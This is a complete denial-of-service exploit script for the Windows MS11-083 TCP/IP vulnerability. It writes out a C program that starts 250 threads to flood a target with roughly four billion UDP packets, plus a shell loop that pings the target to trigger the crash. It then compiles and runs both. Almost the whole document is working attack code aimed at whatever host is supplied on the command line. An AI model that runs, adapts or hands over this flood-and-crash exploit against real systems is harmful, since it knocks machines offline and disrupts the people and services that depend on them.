MS11-083 Denial Of Service

#!/bin/sh
cat >> winnuke2011.c << EOF
/*
* MS11-083 DoS/PoC exploit
* ========================
* This attempts to trigger the ICMP refCount overflow  
* in TCP/IP stack of Win7/Vista/Win2k8 hosts. This 
* requires sending 2^32 UDP packets to a host on a closed
* port, or 4,294,967,296 packets. A dereference function
* must be called that is not triggered via UDP but ICMP  
* echo packets. This exploit creates 250 threads and 
* floods a host with UDP packets and then attempts to
* trigger the de-ref using ping. I calculated that it
* would take approximately 52 days for the host to 
* enter a condition where this vulnerability is 
* triggerable. 
*
* -- prdelka 
*/
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h> 
#include <sys/time.h> 

int port;
int active = 0;
pthread_mutex_t mutexactive;
void *sendpackets(void *ptr);

int main(int argc, char *argv[]) {
     	pthread_t thread;
     	int iret,lthreads;
	pid_t pid;
	printf("[+] MS11-083 DoS/PoC exploit\n");
	if(argc<3){
		printf("[!] Usage : %s <server> <port>\n", argv[0]);
		exit(1);
	}
	char *const args[] = {"ping",argv[1],NULL};
	char *const envp[] = {"",NULL};
	port = atoi(argv[2]);
	for(lthreads=0;lthreads<250;lthreads++){//UDP flood
		iret = pthread_create(&thread,NULL,sendpackets,argv[1]);
		printf("[-] Thread number %d started\n",lthreads);
		sleep(1);
	}
	printf("[-] One does not simply barrel roll into Mordor\n");
	pid = fork();
	if(pid==0){// trigger deref.
		execve("./ping.sh",args,envp);
	};
	while(active){
	}
	printf("[-] You are finished. Patience is a virtue.\n");
	exit(0);
}

void *sendpackets(void *ptr)
{
	int sd, rc, n, echoLen, flags, error, timeOut;
	unsigned long i;
	struct sockaddr_in remoteServAddr;
	struct hostent *h;
	char str[41];
	pthread_mutex_lock(&mutexactive);
	active++;
	pthread_mutex_unlock(&mutexactive);
   	srand(time(NULL));
   	for (i = 0;i < 40;++i){
		str[i] = (char)((rand() % 78) + 30);
   	}
   	str[40] = '\0'; // yes this was off-by-one. :(
	printf("[-] Sending payload '%s'\n",str);
  	h = gethostbyname(ptr);
	if(h==NULL) {
    		printf("unknown host '%s' \n",(char*)ptr);
    		exit(1);
  	}
	remoteServAddr.sin_family = h->h_addrtype;
	memcpy((char *) &remoteServAddr.sin_addr.s_addr,h->h_addr_list[0], h->h_length);
	remoteServAddr.sin_port = htons(port);
	sd = socket(AF_INET,SOCK_DGRAM,0);
	if(sd<0){
		printf("[!] Cannot open socket\n");
		pthread_exit((void*)0);
	}
	flags = 0;
	for(i=0;i<4294967295;i++){
		rc = sendto(sd,str,strlen(str)+1,flags,(struct sockaddr *)&remoteServAddr,sizeof(remoteServAddr));
		if(rc<0){
			printf("[!] Cannot send data\n");
      			close(sd);
			pthread_exit((void*)0);
    		}
	}
	pthread_mutex_lock(&mutexactive);
	active--;
	pthread_mutex_unlock(&mutexactive);
	pthread_exit(NULL);
}
EOF
cat >> ping.sh << EOF
#!/bin/sh
while \`true\`;do /sbin/ping -c 1 \$1;done
EOF
chmod +x ping.sh
gcc winnuke2011.c -o winnuke2011 
./winnuke2011